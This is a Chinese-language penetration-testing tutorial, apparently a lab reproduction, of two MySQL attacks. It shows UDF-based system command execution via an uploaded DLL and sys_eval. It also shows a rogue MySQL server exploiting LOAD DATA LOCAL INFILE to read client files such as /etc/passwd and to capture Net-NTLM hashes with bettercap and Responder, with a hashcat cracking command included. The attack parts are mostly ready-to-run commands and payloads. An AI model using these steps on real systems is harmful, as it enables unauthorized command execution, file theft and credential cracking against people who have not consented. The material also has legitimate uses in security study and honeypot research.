一、UDF提权
之前遇到php的环境,都是直接上传大马尝试udf提权,对udf的原理并不了解,今天花时间复现了一下。另外我觉得叫udf提权并不准确,最终的结果是使用mysql执行了系统命令,能不能提权成功取决于运行mysql服务的是不是高权限用户。
漏洞利用条件
- 已知mysql root用户的账号密码
- 没有secure_file_priv的限制
环境搭建
1.设置mysql允许root外联
use mysql;
grant all privileges on *.* to root@'%' identified by 'root';
flush privileges;
2.设置secure_file_priv
secure_file_priv=
MySQL [(none)]> SHOW VARIABLES LIKE "secure_file_priv";
漏洞利用
1.查询mysql绝对路径
select @@basedir;
show variables like "%plugin%";
2.利用ntfs数据流创建plugin文件夹(如果文件夹不存在)
测试发现低版本的mysql可以成功创建文件夹,高版本的没有成功
mysql> select 'xxx' into dumpfile 'C:/phpstudy/MySQL/lib/plugin::$INDEX_ALLOCATION';
3.上传udf.dll文件
mysql版本小于5.1时,导出到c:\windows\system32目录,大于5.1时导出到../lib/plugin目录。
sqlmap和metasploit中都有udf文件,这里使用的msf,文件位置在/usr/share/metasploit-framework/data/exploits/mysql/
sqlmap -d "mysql://root:root@192.168.80.202:3306/mysql" --file-write="/root/lib_mysqludf_sys_32.dll" --file-dest="C:/phpStudy/mysql/lib/plugin/udf.dll"
4.从udf文件中引入自定义函数
MySQL [(none)]> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
5.使用自定义函数执行系统命令
MySQL [(none)]> select sys_eval('whoami');
二、mysql任意文件读取
原理
mysql的load data local infile函数用于读取客户端的文件并保存在表中,如果攻击者搭建一个伪造的mysql服务器,当有客户端连接这个伪造的mysql服务器时,利用load data local infile函数,攻击者就可以读取客户端主机上的文件。
实现过程
- 例如,使用kali(192.168.80.130)连接mysql服务器(192.168.80.140)
mysql -uroot -proot -h192.168.80.140
- 使用load data local infile函数读取kali的/etc/passwd,并存入mysql.host表中
load data local infile "/etc/passwd" into table mysql.host FIELDS TERMINATED BY '\n';
- 查看mysql.host表,发现读取成功
linux系统的利用
如果连接伪造MySQL服务器的客户端在linux上运行,我们可以通过以下方法读取linux系统上的文件。
- 使用bettercap启动一个伪造的mysql服务器
root@kali:~# bettercap -eval "set mysql.server.infile /etc/passwd; mysql.server on"
- 当有客户端连接时,能读取到客户端主机上的/etc/passwd文件
mysql -uroot -h192.168.80.130 -p
windows系统的利用
INFILE支持使用UNC路径的方式,如果连接伪造MySQL服务器的客户端在Windows上运行,我们可以通过以下方法得到windows的Net-NTLM hash。
- 使用bettercap启动一个伪造的mysql服务器
root@kali:~# bettercap
set mysql.server.infile \\192.168.80.130\test
mysql.server on
- 使用responder开启中间人监听
root@kali:~# git clone https://github.com/lgandx/Responder.git
root@kali:~# cd Responder/
root@kali:~/Responder# ./Responder.py -I eth0 -rv
- 当有客户端使用mysql.exe命令或者使用Navicat连接时,都能获取到他的Net-NTLM hash(不过由于国内运营商封禁了445端口,该利用方式在公网上影响有限)
mysql -uroot -h192.168.80.130 -p
- 最后可以使用hashcat来破解哈希值
-m 指定hash的类型,5600为NetNTLMv2
root@kali:~# hashcat -m 5600 Administrator::WIN-A3QJ128S93I:c780067f2a0ae7bf:B85AE87F3BBF17DD5960DFAD6075A19B:0101000000000000C0653150DE09D201AB26C0BE9B8FEEB9000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000D7006384B53B06B857318D8C05A5C2A66BFC9AFDCD36062540942A9B227E7AE60A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00380030002E00310033003000000000000000000000000000 /root/top100.txt -o rst.txt --force
影响
- 一些云服务器控制台的数据迁移功能可能会存在这个漏洞
- 或者用在蜜罐上读取攻击者的信息
参考
https://www.cnblogs.com/litlife/p/9030673.html
https://www.colabug.com/2019/0408/5936906/
https://www.anquanke.com/post/id/106488